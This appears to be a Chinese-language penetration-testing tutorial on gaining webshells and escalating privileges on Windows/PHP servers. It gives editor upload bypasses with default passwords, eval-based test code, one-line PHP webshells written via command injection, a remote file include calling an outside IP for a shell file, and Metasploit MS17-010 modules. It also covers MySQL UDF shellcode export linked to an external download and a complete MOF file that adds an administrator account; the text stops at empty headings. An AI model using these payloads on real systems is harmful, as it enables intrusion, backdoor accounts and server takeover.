  在渗透测试中,编辑器也很受攻击者的喜爱,编辑器中包含了文章编辑、图片上传和附件上传等功能。而这些编辑器的功能实现代码也可能是存在漏洞的,攻击者可以通过这些漏洞提升自己的权限。下面我们就介绍几款有漏洞的编辑器以及这些编辑器漏洞的利用方法。

EwebEditor

  EwebEditor是ASP站点中常用的编辑器之一,而该编辑器就存在一些漏洞,允许攻击者上传任意类型文件,从而拿到WEBSHELL。

  EwebEditor常用的后台地址:

1
2
EwebEditor/admin_login.asp
EwebEditor/admin/login.asp

  EwebEditor使用的数据库是ACCESS数据库,其数据库存放路径为:

1
2
3
EwebEditor/db/EwebEditor.mdb
EwebEditor/db/EwebEditor.asp
EwebEditor/db/EwebEditor.asa

  修改mdb后缀为asp、asa是为了防止数据库被下载后拿到EwebEditor后台的密码。

  EwebEditor后台常用的默认密码:

编号 帐号 密码
1 admin admin
2 admin admin888
3 admin888 admin888

  漏洞利用过程演示:

1
2
服务器:WIN03+IIS6.0
程序 : 注入练习代码
  • 获取后台密码
1
2
3
1.猜后台密码 (数据库无法下载或密码无法解密时候用)

2.下载ewebeditor的数据库,查询密码

  • 登陆后台->样式管理->修改(新增)样式

  有些站点修改样式中没有提交按钮,只能新增样式,新增样式中需要注意以下两点的填写

1
2
3
1.路径模式使用绝对根路径

2.图片类型添加aaspsp,因为eweb会过滤asp字符串,从而使aaspsp变成asp

  • 为新增后的样式添加按钮

  [可选] 如果是修改样式则不需要添加按钮,新增的样式需要添加按钮

  • 利用修改(新增)的样式来上传shell

  预览修改(新增)的样式,使用上传图片按钮上传WEBSHELL。

  因为存在漏洞的EwebEditor比较老,新版的浏览器无法操作EwebEditor,打开预览以后按钮无法使用,解决此问题可以用IETester打开一个IE6的浏览器,也可以用高版本IE的兼容模式,笔者常用的方法是打开WIN03中的浏览器来进行后续操作。

  小技巧:在目标站点中随便打开一个含有图片新闻的页面(因为新闻页面中的图片多数是用编辑器上传的),然后把图片在新标签中打开,观察图片的路径,有时候可以找到编辑器的目录以及判断编辑器的类型。

FCKeditor

查看版本

1
/fckeditor/editor/dialog/fck_about.html

爆绝对路径

1
2
3
4
5
/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php  # 通杀支持php的

/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

遍历目录

1
2
3
4
5
6
7
8
9
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../

-- 遍历指定目录

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/e:/wwwroot/

FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

常用的上传地址

1
2
3
4
5
6
7
FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

突破建立文件夹

1
2
3
4
5
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

FCK上传GETSHELL

缺实例

  FCK编辑器常配合IIS的解析漏洞来GETSHELL,因为FCK不会对上传后的文件重命名,低版本的FCK可以上传a.asp;.jpg来GetSHELL,有时候会遇到把第一个”.”替换成”_”,可以使用二次上传或者a.asp;jpg来进行绕过。

  FCK还可以建立一个a.asp目录,然后将图片上传到该目录下进行GETSHELL

修改模板文件

  很多CMS的后台允许用户修改站点的模板文件,攻击者可以利用此功能将恶意代码插入模板文件,从而获取WEBSHELL权限。

案例:

1
程序:WordPress 4.6

  在后台的外观处可以编辑主题的模板代码。这里最好选择header.php,因为此处显示的文件都存放在/wp-content/themes/主题名/目录下,编辑其他文件不方便寻找shell,而header.php被站点主页(index.php)所包含,因此主页就是WEBSHELL地址。

  WEBSHELL测试:

代码执行

  代码执行漏洞是程序未对用户提交的字符串进行过滤,而直接将字符串当作脚本代码来执行的漏洞。攻击者可以利用代码执行漏洞来执行任意的代码,从而获取WEBSHELL权限。

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
第一组测试代码
*/
<?php
if(isset($_GET['code']) or die('We need a code param in url!')){
$code = $_GET['code'];
}
echo $code;
eval($code);
?>

/*
第二组测试代码
*/
<?php
if(isset($_POST['code']) or die('We need a code param in post!')){
$code = $_POST['code'];
}
echo $code;
eval($code);
?>

/*
第三组测试代码
*/
<?php
if(isset($_COOKIE['code']) or die('We need a code param in Cookie!')){
$code = $_COOKIE['code'];
}
echo $code;
eval($code);
?>

执行任意代码

  三组测试代码的区别只是接受参数的方式不同,这里需要注意的是在数据包中修改了cookie之后要记得对cookie中code参数的值进行一次urlencode,否则分号会被当作Cookie的参数分界符,无法被程序接收。例如:提交code=system('whoami');在程序中接收到的却只有system('whomai')少了;,而带入eval函数的语句没有语句结束符;则会报错。

构造WEBSHELL

  对于第一组代码(GET型)可以构造一段payload,使其变成WEBSHELL。

  对于第二组代码(POST型),其本身就是一个WEBSHELL,可以用菜刀直接连接,密码是接收的参数code。

  对于第三组代码(Cookie型),就无法直接构造payload来进行连接了。

写文件

1
2
file_put_contents('shell.php','<?php eval($_POST[x]);?>');
// WEBSHELL内容不可以用双引号包裹,否则会解析$_POST[x]变量。

  此方法在以上三组代码中均适用。

读文件

  在CTF中读文件经常被用到,场景如下:

1
2
代码执行:evalGet.php
目标 : 读取同目录下flag.php的内容
1
2
3
4
5
6
/*
常用的读文件函数
*/

highlight_file()
show_source()

代码执行函数

  常见的代码执行函数除了案例中所用到的eval函数还有以下函数:

1
2
3
4
5
assert()
call_user_func()
call_user_func_array()
create_function()
preg_replace (with /e modifier)

命令执行

  命令执行和代码执行是不一样的,命令执行漏洞(也称为命令注入)是程序未对用户提交的字符串进行过滤,而直接将字符串当作系统命令来执行的漏洞,而代码执行是将字符串作为脚本代码执行的。

  命令执行漏洞允许攻击者以Web容器的权限执行任意命令,如果站点权限配置不当,容器权限过高的话,攻击者则可以直接拿到服务器权限。

测试环境

1
2
服务器 :win+phpstudy
程序 : DVWA Command Injection

  DVWA Command Injection模块是一个ping功能的实现,其执行的命令是ping IP,IP是可控的,攻击者可以构造payload:IP&whomai 来使ping命令和whomai命令一起执行,在系统命令中&是两个命令的连接符号。

执行任意命令

1
127.0.0.1&command

  出现乱码的原因是DVWA的编码是UTF8而win的命令行编码是GBK,以UTF8格式显示GBK因此是乱码。

写SHELL

1
127.0.0.1&echo "<?php eval($_POST[x]);?>">绝对路径

注意:

  • 1.写shell时候必须用双引号包裹shell内容(单引号不行),否则会报错。

  • 2.需要知道网站目录的绝对路径

CMD下载文件

命令执行函数

1
2
3
4
5
6
7
8
system
exec
popen
` //反引号
pcntl_exec
shell_exec
passthru
proc_open

文件包含

  文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含又分为本地文件包含(Local file include)和远程文件包含(Rmote file include),不管是哪种都是非常高危的,渗透过程中文件包含漏洞大多可以直接利用获取webshell。文件包含的函数有:include(),include_once(),require,require_once(),它们之间的区别在于: include()include_once()在包含文件时即使遇到错误,下面的代码依然会执行;而require()require_once()则会直接报错退出程序。

本地文件包含LFI

  顾名思义就是就是包含本地的文件。

配合上传利用

1
2
环境:phpstudy
程序:DVWA的上传点+本地文件包含

  在实际的渗透环境中,有很多上传点无法突破,但是攻击者可以利用上传点配合本地包含漏洞获取webshell。

  第一步:上传图片马,并记录图片的路径。

  第二步:利用文件包含漏洞包含图片马

配合Apache日志利用

1
2
3
环境:phpstudy
程序:本地文件包含(无上传点)
信息:已知Apache绝对路径

  第一步:将webshell代码写在URL中,抓包访问,这里我们以phpinfo();作为演示。

  注意:在数据包中要对webshell代码进行urldecode操作,否则被记录到日志中的webshell代码是编码后的。

  第二步:包含日志文件获取webshell,可以包含access.log也可以包含error.log,此两者均存放在apache/logs/目录下。

远程文件包含RFI

  远程文件包含是指可以包含远程文件的包含漏洞,远程文件包含需要设置allow_url_include = Onallow_url_fopen = On

1
2
3
环境:phpstudy
程序:本地文件包含(无上传点)
php.ini:allow_url_include = On
1
fileinclude/include.php?page=http://47.95.206.199:8080/shell.txt

截断包含

  大多数的文件包含漏洞都是需要截断的,因为正常的程序里面文件包含的代码一般是include($page.'.php');这样的方式,而我们不能写入以.php为拓展名的文件,那我们是需要截断.php来利用。

00截断

1
2
环境:php 5.3.29
程序:湖湘杯2017 - web200

  第一步:找到上传点上传图马,并记录图马的路径

  第二步:截断.php包含图片获得webshell

1
index.php?op=uploads/974c1275f568fbfca418d456f97817a80349fb46.png%00

.和/截断

  %00截断受到PHP版本和GPC的限制,在PHP5.3以后的版本中%00截断已经失效了,所以在这里介绍一个%00的替代方法。

  • 在window中240个.可以截断

  • 在linux中2038个/.组合

?伪截断

  此方法不受GPC和PHP版本影响,但只适用于RFI。在HTTP协议中访问http://47.95.206.199:8080/shell.txt和访问http://47.95.206.199:8080/shell.txt?返回结果是一样的,因为这时候服务器把?之后的内容当成是请求参数,参数对访问shell.txt返回的内容不影响,所以就实现了伪截断。

PHP伪协议

php://input

  php://input 是个可以访问请求的原始数据的只读流,它受限于allow_url_include,但allow_url_fopen对其无影响。

  php://input和文件包含的配合只能在include($page);这样的情况下使用,而无法在include($page.'.php');情况下使用。

1
2
3
4
环境:phpstudy
程序:文件包含测试代码
php.ini:allow_url_include = On
allow_url_fopen = Off

data:text/plain

  data:text/plain也是个原始数据流,其使用格式为data:text/plain[;编码],数据,和php://input有些类似,受限于allow_url_include,但allow_url_fopen对其无影响。

  data:text/plain协议和文件包含的配合既可以在include($page);这样的情况下使用,也可以在include($page.'.php');情况下使用。

1
2
3
4
环境:phpstudy
程序:文件包含测试代码
php.ini:allow_url_include = On
allow_url_fopen = Off

php://filter

  php://filter是PHP过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤。其用法为php://filter/read=convert.base64-encode/resource=[文件路径] ,前面提到的php://inputdata://text/plain可以将文件包含漏洞变成代码执行漏洞从而getshell,而php://filter却只能读取任意文件的内容。

  php://filter协议和文件包含的配合既可以在include($page);这样的情况下使用,也可以在include($page.'.php');情况下使用。

1
2
环境:php 5.5.38
程序:湖湘杯2017 - web200

phar://

  phar://是PHP的解压缩协议(PHP5.3以后增加),用法为:phar://zipName/x.php。这个协议不受限于allow_url_fopenallow_url_include

  值得一提的是phar://后面的zipName与后缀无关,只要是文件是完整的压缩包即可。

  phar://协议和文件包含的配合既可以在include($page);这样的情况下使用,也可以在include($page.'.php');情况下使用。

1
2
环境:php 5.5.38
程序:湖湘杯2017 - web200

  第一步:将shell.php压缩为zip格式,并更名压缩包为:tuma.png

  第二步:上传到服务器,并记录上传后的路径

  第三步利用phar://协议获取WEBSHELL

  和phar://协议类似的还有zip://协议,也是用于解压文件的协议。zip://的用法:zip://zipName绝对路径%23shell.php

file://

  file://协议是用来访问本地文件系统的协议,用法为:file://绝对路径。此协议不受限于allow_url_fopenallow_url_include

  file://协议和文件包含的配合既可以在include($page);这样的情况下使用,也可以在include($page.'.php');情况下使用。

Windows服务器权限提升

  通过前面几个章节学到的内容我们已经能够拿到WEBSHELL,但是拿到WEBSHELL以后我们的权限还不算是最大,还可以通过服务器权限提升的方法来将权限提升到一个更高的层次,比如服务器管理员权限Administrator,再比如比管理员权限更高的系统权限System。

提权常用的系统命令

  • whoami 查看cmd当前的权限

  攻击者可以通过该命令查看shell中cmd的权限,如果是Administrator 或者 System权限的话,就可以绕过很多步骤直接添加用户登录服务器了。

  shell中cmd的权限主要受到WEB容器的运行者权限的影响,常见的高权限的案例:phpstudy 套装struct2 运行环境

  • ipconfig 查看服务器IP

  攻击者通过查看服务器IP,判断服务器是处于内网还是外网,如果是外网的话可以直接连接服务器除WEB端口以外的其他端口,否则需要做端口转发,将内网的端口转发到公网IP才能够连接。

  • netstat -ano 查看端口开放情况

  在前面章节中,我们也提到过探测端口,当时用的方法是端口扫描,现在我们拥有了WEBSHELL以后可以直接使用系统命令来查看开放端口了,效率上比扫描端口快很多。

  在本章探测端口的目的和前面章节也有所不同,本章探测端口的目的主要是以下两点:

1
2
3
1.确定远程端口的端口号
2.确定服务器上某个特定程序的端口号
3.也可以通过端口号确定服务器上运行的程序
  • tasklist /svc 查看进程列表

  攻击者可以通过查看进程列表来确定服务器上运行的哪些程序,然后再确定进一步的攻击方案。

  • systeminfo 查看系统信息及补丁情况

  攻击者可以通过systeminfo命令得知目标服务器的位数补丁情况等信息。

  • 用户相关命令
1
net user # 查看服务器上的用户

1
net localgroup # 查看服务器上的用户组

1
net user username password /add # 添加用户

  新添加的用户不能连接远程桌面,只有管理组和远程桌面组的用户才拥有连接远程桌面的权限,而管理组的用户权限比较大,所以攻击者在渗透中常把自己的用户加入管理组。

1
net localgroup administrators username /add # 将用户加入管理组

1
net user guest /active:yes # 激活Guest用户

  在有waf的情况下,添加用户会被拦截,攻击者可以激活Guest用户,然后再赋予该用户权限即可达到相同的效果。

1
net user username newpassword # 修改用户的密码

  请勿修改服务器上Administrator或者其他管理员帐户的密码,否则后果自负。

提权前的准备工作

信息收集

  • 探测支持的脚本类型

  在使用本地溢出提权时,重点还是看攻击者是否可执行溢出程序,也就是执行权限。在ASP中依靠“wscript.shell”命令执行组建,而ASPX脚本语言中依靠的是“.NET Framework”,在JSP中却是依靠“JVM”来调用系统命令,各自的实现不同。

  所以,在Windows中进行本地溢出提权时,一般会看服务器所支持的脚本语言(ASP、PHP、ASPX、JSP)。有时服务器支持很多脚本语言,如果其中一个脚本没有执行权限,或许另外一个脚本就可以。

  并且此四类脚本的SHELL的权限从大到小排列:JSP>ASPX>PHP=ASP,由于JSP很多时候以Administrator权限来运行,因此该脚本的shell权限最大;ASPX需要.NET Frameword的支持,而.Net Framework的运行需要一定的权限,因此该脚本的shell权限比较大;PHP和ASP不需要依赖太多的组建,因此该二类脚本的shell权限比较小。

  可以用大马中脚本-探测功能来进行探测,也可以将四种类型的脚本都上传到目标服务器,然后依次访问,不能解析执行的脚本则为不支持。以大马中脚本-探测功能为例,返回解析执行结果的则为支持的脚本。

  • 探测可读写可执行目录

  要想使用本地溢出的方法提权,那么需要找到可读写的目录将溢出程序上传到目标服务器,溢出程序的执行需要目录拥有可执行权限,所以就需要探测可读可写可执行的目录。

  探测方法:可以直接使用大马中集成的可写目录探测功能来探测,探测结果中蓝色的为可写目录,红色为不可写目录。

  • 能否执行cmd命令

  使用默认的cmd(c:\windows\system32\cmd.exe)执行cmd命令,很多时候是拒绝访问如下图所示,原因是iis用户无权限访问c:\windows\system32

  遇到这种情况,攻击者可以上传一个cmd,然后把cmd的路径设置成自己上传的cmd路径即可执行命令。

  • 当前cmd的权限

  • 补丁及系统版本

  • 进程情况

  • IP

  • 端口情况

  • 是否可以执行net相关命令

  如果不能执行,攻击者可以自己上传一个net.exe调用自己上传的net.exe来执行net相关命令,如果上传的net.exe仍无法执行net相关命令,则可以调用win API来执行net相关命令`。

攻击方案制定

  • 不能执行cmd时,可以通过端口扫描的方式确定开放端口,再根据端口推断出系统中运行的服务从而制定进一步的攻击方案。

  • 可以执行cmd时,先探测cmd的权限,如果是权限很高那么可以直接添加用户;否则就探测系统版本和补丁情况,确定使用哪个缓冲区溢出EXP及其位数(32 or 64)进行缓冲区溢出提权。

  • 根据端口和进程情况,可以确定目标服务器上是否存在WAF,如果存在WAF则需要绕过WAF;也可以确定服务器运行着哪些数据库,然后选择数据库提权;还可以确定服务器运行着哪些第三方软件,然后选择对应的提权方法。

  • 根据IP情况决定是否需要端口转发等。

  • 根据用户情况,可以选择社工或者爆破的方法拿到权限。

缓冲区溢出

本地溢出

1
2
服务器:win03
cmd权限:network service

  第一步:上传并运行缓冲区溢出EXP,一般EXP会提示使用方法。

  第二步:按照EXP提示的使用方法执行命令,查看权限。

  如果权限已经提升到System或者Administrator,则可以进行接下来的添加用户操作,否则可以选择其他缓冲区溢出EXP继续尝试,直到获得System权限。

  第三步:添加用户,并将用户加入管理组。

  第四步:远程桌面连接

  打开Windows自带的mstsc(Win+R打开运行输入mstsc回车),出现以下界面,如果是目标服务器远程端口是默认3389端口那么可以只填写IP不填写端口,否则需要填写IP:PORT

经验之谈:

  在选择本地溢出EXP的时候有以下几个参考点:

  • 根据打补丁情况选择,可以用笔者的工具ATRoot Auxiliary来查看未打补丁的溢出漏洞有哪些,再去使用未补的漏洞提权

  • 尽量使用通杀Win的本地溢出EXP,比如MS15051、MS16016等

  • 根据系统版本选择本地溢出EXP,如:win03则可以选择PR或iis6的远程溢出

远程溢出

  远程溢出我们以MS17010和IIS6远程代码执行作为案例来做演示。

MS17010

  MS17010有很多图形化界面工具,也可以用Metasploit来进行攻击,这里我们以Metasploit(后文称MSF)作为攻击演示工具

  • 1.MSF搜索MS17010模块

  这里MSF提供的模块有:

1
2
3
4
auxiliary/admin/smb/ms17_010_command # 执行单条CMD命令
auxiliary/scanner/smb/smb_ms17_010 # 扫描漏洞,可批量
exploit/windows/smb/ms17_010_eternalblue # 永恒之蓝版本,适用WIN7和Win2008(x64)
exploit/windows/smb/ms17_010_psexec # 最新MS17010,适用面广

  Win版本和模块的选择(数据来自T00ls):

  • 2.扫描漏洞

  如果需要扫描一个网段则RHOSTS设置为192.168.19.1/24

  • 3.利用漏洞

  这样就获取到了一个Meterpreter shell了,接下来就可以进行添加用户,远程桌面连接等操作了。

IIS6远程代码执行

  IIS6远程代码执行漏洞的编号为CVE-2017-7269,需要IIS6允许WebDAV扩展才能触发漏洞,我们还是以MSF的Exploit进行演示。

  • 1.搜索CVE编号

  • 2.利用漏洞

数据库提权

  数据库是一个动态Web站点的核心部分,但也是攻击者非常喜爱的一个部分,因为攻击者可以通过数据库获取更高的权限,由于数据库用户的密码过于简单而被猜解和数据库权限配置不当导致服务器沦陷的事件也常有发生。

  数据库服务默认是以系统权限来运行着的,那么攻击者通过数据库获取到的cmdshell的权限也将是系统权限,因此数据库常常被攻击者用来作为提权的手段。在本章节,我将给大家介绍数据库提权的方法。

MySQL提权

  MySQL数据库服务的默认端口为3306端口,一般支持PHP的站点都会支持MySQL数据库。所以在信息探测时候,发现站点支持PHP脚本,并且开放着3306端口则可以使用MySQL提权的方法来提升权限。接下来我将给大家介绍MySQL提权的3种方法。

  MySQL提权的前期是:知道MySQL的root用户的密码,获取到Webshell以后寻找MySQL的root用户的密码有以下两种方法:

  • 1.翻看网站的配置文件,有的站点会使用root用户接入数据库,所以在配置文件中可以找到root用户的明文密码。(有时候一个服务器有多个站点,多翻几个站点的配置文件,很有可能会找到root用户的明文密码)

  • 2.从MySQL的数据文件中找,一般情况下MySQL的数据文件存放在MySQL目录下的data目录下,也有可能放在其他目录,如果修改MySQL的数据文件存放目录的话,需要在my.ini中设置datadir=数据文件存放目录。找到数据文件存放的目录后,打开该目录下的mysql目录,其中的user.MYD中存放着MySQL数据库所有用户的帐号密码。

  直接打开user.MYD比较乱,笔者的建议是把user.MYD,user.frm和user.MYI下载到本地,放在本地MySQL的data目录下,新建一个文件夹(文件夹名就是数据库名)放进去

  然后使用phpMyAdmin或其他数据库管理软件查看该数据库中的User表中的帐号密码,这些帐号密码就是目标站点的数据库用户信息。

经验之谈:

  有时候,shell对MySQLBaseDir目录没有访问权限,那么可以直接访问MySQLBaseDir\data\目录,因为要对数据库有修改权限,必须有对MySQLBaseDir\data\目录的修改权限。

UDF提权

  UDF提权时MySQL提权中最常用并且成功率最高的一种方法。UDF的全称是User Defined Function,意为用户自定义函数。具体的测试步骤如下:

  第一步:查看MySQL的版本,MySQL的版本决定了dll导出的目录(后面会介绍)。

1
select version();

  第二步:导出shellcode,不同的MySQL版本shellcode导出的目录不同。

  本次测试环境是MySQL5.5的,因此要导出到MySQL的plugin目录下,可以使用show variables like '%plugin%';来查看plugin目录,默认的plugin目录是basedir\lib\plugin

1
2
-- 导出shellcode语句
select 0xUDFcode into dumpfile 'C:\\phpstudy\\MySQL\\lib\\plugin\\tony.dll';

  由于篇幅有限,shellcode就不写在这里了,如有需要请到http://admintony.com/udf.txt自行下载。

  第三步:使用dll创建函数。

1
create function shell returns string soname 'udf.dll';

  第四步:使用该函数执行命令。

1
select shell('cmd','whoami');

  到这里权限已经提升到了administrator的权限了,具体提权后的权限能达到多高,取决于MySQL服务运行者的权限,也有很多站长把MySQL降权运行,那么使用MySQL提权后的权限只能达到用户权限。

经验之谈:

  在很多实际环境中UDF提权也会遇到很多问题,在这里笔者将常见的问题总结罗列一下:

  • 1.MySQL目录下lib/plugin目录不存在,怎么办?

  可以使用SQL语句创建目录,也可以在shell中手动创建目录。

1
2
select 'It is dll' into dumpfile 'C:\\。。lib::$INDEX_ALLOCATION';
select 'It is dll' into dumpfile 'C:\\。。lib\\plugin::$INDEX_ALLOCATION';
  • 2.导出dll受到secure_file_priv的影响无法导出,怎么办?

  可以在本地将shellcode导出到dll,再上传到目标网站的mysqlBaseDir\lib\plugin\目录下,也有些时候shell不具备mysqlBaseDir的访问权限,你可以直接测试mysqlBaseDir\lib\plugin\是否有访问权限。

  • 3.提示错误 Can’t open shared library ‘udf.dll’ (errno: 2 )

  除了udf不存在、udf被杀,还有可能是你的udf版本不对,你拿32位的udf去在64位系统注册的话,一样会提示错误。

  • 4.提示错误 Can’t find symbol ‘cmdshell’ in library

  该函数在字典中被删除了,可以用shellsys_exec或者sys_eval代替。

  • 5.入侵以后删除函数的SQL语句
1
delete from mysql.func where name='shell'

MOF提权

  MOF(托管对象格式)是Windows系统的一个文件,其目录为C:/windows/system32/wbem/mof/nullevt.mof,其作用是每隔一段时间去监控进程的创建和死亡,MOF提权就是使用MySQL的Root权限将含有恶意代码的MOF文件上传到该目录下。

  MOF提权具体步骤如下:

  第一步:上传MOF文件,MOF代码在本节最后

  第二步:将MOF导出到C:/windows/system32/wbem/mof/目录,并重命名为nullevt.mof,其SQL语句为:

1
select load_file('C:/phpStudy/WWW/mof.txt') into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';

  然后看一下用户,用户已经加上了

  第三步:将用户加入管理组,修改一下MOF文件中的系统命令,再导出即可。过2分钟后,查看administrators组中的用户,如下图所示。

  MOF样本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admintony admin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

经验之谈

  • 1.MOF代码中And TargetInstance.Second = 5决定了每分钟的第几秒执行该MOF文件

  • 2.MOF提权后,命令会一直执行,有可能会导致服务器宕机,所以请测试者进入系统后,去C:/windows/system32/wbem/mof/good中删除nullevt.mof

  • 3.该方法适用于比较久的机器,笔者在Win03 sp2测试成功。

启动项提权

MSSQL提权